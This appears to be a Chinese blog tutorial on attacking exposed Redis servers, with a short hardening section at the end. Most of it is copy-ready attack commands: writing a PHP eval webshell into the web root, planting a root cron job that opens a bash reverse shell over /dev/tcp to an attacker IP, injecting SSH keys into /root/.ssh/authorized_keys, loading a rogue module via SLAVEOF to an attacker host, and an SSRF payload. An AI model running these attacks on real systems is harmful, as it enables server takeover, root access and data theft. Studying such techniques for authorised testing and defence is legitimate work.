Redis渗透测试全解析:从原理到实战的高级利用技巧(2025最新版)

在现代Web应用架构中,Redis作为高性能的内存数据库被广泛应用于缓存、会话管理、消息队列等场景。然而,由于配置不当或安全意识薄弱,Redis服务常常成为攻击者突破内网的第一跳板。本文将深入剖析Redis渗透测试的核心技术,涵盖未授权访问、RCE漏洞利用、SSRF联动攻击等高危手法,并结合实战案例与防御建议,助你全面掌握Redis安全攻防要点。

Redis渗透测试全解析:从原理到实战的高级利用技巧(2025最新版)


Redis基础简介:为什么它如此重要?

Redis(Remote Dictionary Server)是一个开源的高性能键值对存储系统,支持字符串、哈希、列表、集合等多种数据结构。其默认端口为 6379,运行于内存中并支持持久化机制。

⚠️ 风险提示:默认情况下,Redis不启用密码认证,若暴露在公网且未做访问控制,极易导致未授权访问,进而引发数据泄露、服务器沦陷甚至内网横向移动。


Redis未授权访问漏洞详解

1. 漏洞成因

  • 默认无密码认证

  • 配置文件中 bind 未限制IP(如绑定0.0.0.0)

  • protected-mode no 开启时允许外部连接

  • 防火墙未关闭6379端口

2. 测试方法

使用 redis-cli 工具直接连接目标主机:

1redis-cli -h <目标IP>

若无需密码即可执行命令,则存在未授权访问风险。

3. 信息收集命令(渗透前期必备)

1INFO                    # 查看Redis版本、操作系统、持久化路径等敏感信息
2CONFIG GET *           # 获取所有配置项,尤其是dir和dbfilename
3KEYS *                 # 列出所有键名,寻找敏感数据
4GET <key_name>         # 获取指定键的值

Redis RCE(远程代码执行)五大攻击路径

路径一:写入WebShell(适用于有Web服务环境)

当已知网站根目录路径时,可通过Redis写入PHP木马。

操作步骤:

1# 设置持久化目录为Web目录
2config set dir "/var/www/html"
3
4# 设置持久化文件名为webshell
5config set dbfilename "shell.php"
6
7# 写入一句话木马
8set payload "<?php @eval($_POST['cmd']);?>"
9
10# 执行保存
11save

访问 http://<target>/shell.php 即可通过菜刀、蚁剑等工具连接。

前提条件:需知道Web绝对路径,且Redis进程对Web目录有写权限。


路径二:计划任务反弹Shell(最常用提权方式)

利用Redis向Linux系统的crontab写入定时任务,实现反向Shell上线。

Kali监听端口:

1nc -lvp 4444

攻击指令:

1# 将持久化目录设为cron目录
2config set dir "/var/spool/cron/crontabs/"
3
4# 文件名设为root(生成root用户的定时任务)
5config set dbfilename root
6
7# 写入每分钟执行一次反弹shell的任务
8set x "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/<your_ip>/4444 0>&1\n\n"
9
10# 保存配置
11save

等待1分钟内即可获得root权限shell!

🔐 注意:此方法要求Redis以root身份运行,否则无法写入 /var/spool/cron/crontabs/root


路径三:SSH公钥认证写入(精准控制服务器)

若目标开放SSH服务并允许密钥登录,可将攻击者的公钥注入 .ssh/authorized_keys

生成密钥对:

1ssh-keygen -t rsa

注入公钥:

1# 清空Redis数据
2flushall
3
4# 将公钥内容存入一个key
5(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > /tmp/pub.key
6cat /tmp/pub.key | redis-cli -h <target> -x set crack
7
8# 设置持久化路径为.ssh目录
9config set dir "/root/.ssh"
10
11# 设置文件名为authorized_keys
12config set dbfilename "authorized_keys"
13
14# 保存
15save

成功后使用私钥直接SSH登录:

1ssh root@<target> -i id_rsa

路径四:主从复制 + 模块加载RCE(Redis 4.x/5.x特有)

Redis从4.0版本起支持模块扩展机制,攻击者可编译恶意模块并通过主从复制协议加载,实现任意命令执行。

攻击流程:

  1. 克隆恶意模块项目:

    1git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
    2cd RedisModules-ExecuteCommand/src && make

    生成 mymodule.so 恶意模块。

  2. 使用Redis Rogue Server工具启动伪造主服务器。

  3. 诱使目标Redis执行:

    1SLAVEOF <attacker_ip> 9999
  4. 主机自动推送模块并触发加载:

    1MODULE LOAD /tmp/mymodule.so
  5. 执行系统命令:

    1system.exec "id"
    2system.rev <your_ip> 4444

💡 此方法绕过文件上传限制,是近年来流行的高级利用手段。


路径五:SSRF+Redis协议联动攻击

当存在SSRF漏洞时,若能发起HTTP请求至内部Redis服务(明文协议),可通过构造特殊请求注入Redis命令。

原理分析: Redis使用RESP协议通信,格式简单,例如:

1*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n

攻击者可在HTTP头中插入换行符 \r\n 来拼接Redis命令,从而实现无交互式RCE。

示例Payload:

1GET / HTTP/1.1\r\nHost: 127.0.0.1:6379\r\n\r\n*3\r\n$3\r\nSET\r\n$8\r\nexploit\r\n$10\r\ncmd_exec\r\n

只要SSRF支持原始TCP连接或Gopher协议,即可完成攻击。


自动化工具推荐

工具名称功能描述GitHub地址
Redis-Server-Exploit自动化写入公钥、cron、webshelliw00tr00t/Redis-Server-Exploit
redis-rogue-server实现主从复制RCEn0b0dyCN/redis-rogue-server
Metasploit模块支持爆破、写文件、反弹shelluse auxiliary/scanner/redis/redis_login

安全加固建议(运维必看)

  1. 禁止公网暴露:非必要不将Redis暴露在公网,使用VPC或防火墙限制访问。

  2. 设置强密码:在 redis.conf 中配置:

    1requirepass YourStrongPassword123!
  3. 限制绑定IP

    1bind 127.0.0.1     # 仅本地访问
    2protected-mode yes # 启用保护模式
  4. 最小权限运行:避免使用root账户启动Redis服务。

  5. 禁用危险命令

    1rename-command FLUSHDB ""
    2rename-command CONFIG "RANDOM_NAME"
    3rename-command EVAL "RANDOM_NAME"
  6. 开启日志审计:定期检查 redis.log 是否有异常连接行为。


安全在于细节

Redis虽小,但一旦失守,往往意味着整个服务器乃至内网的沦陷。无论是开发、测试还是运维人员,都应高度重视其安全性。本文所介绍的技术仅供合法渗透测试与学习交流,请勿用于非法用途。

📌 行动指南:立即检查你负责的Redis实例是否存在未授权访问风险!一个小疏忽,可能就是下一个“数据泄露门”的起点。

发表评论

评论列表

还没有评论,快来说点什么吧~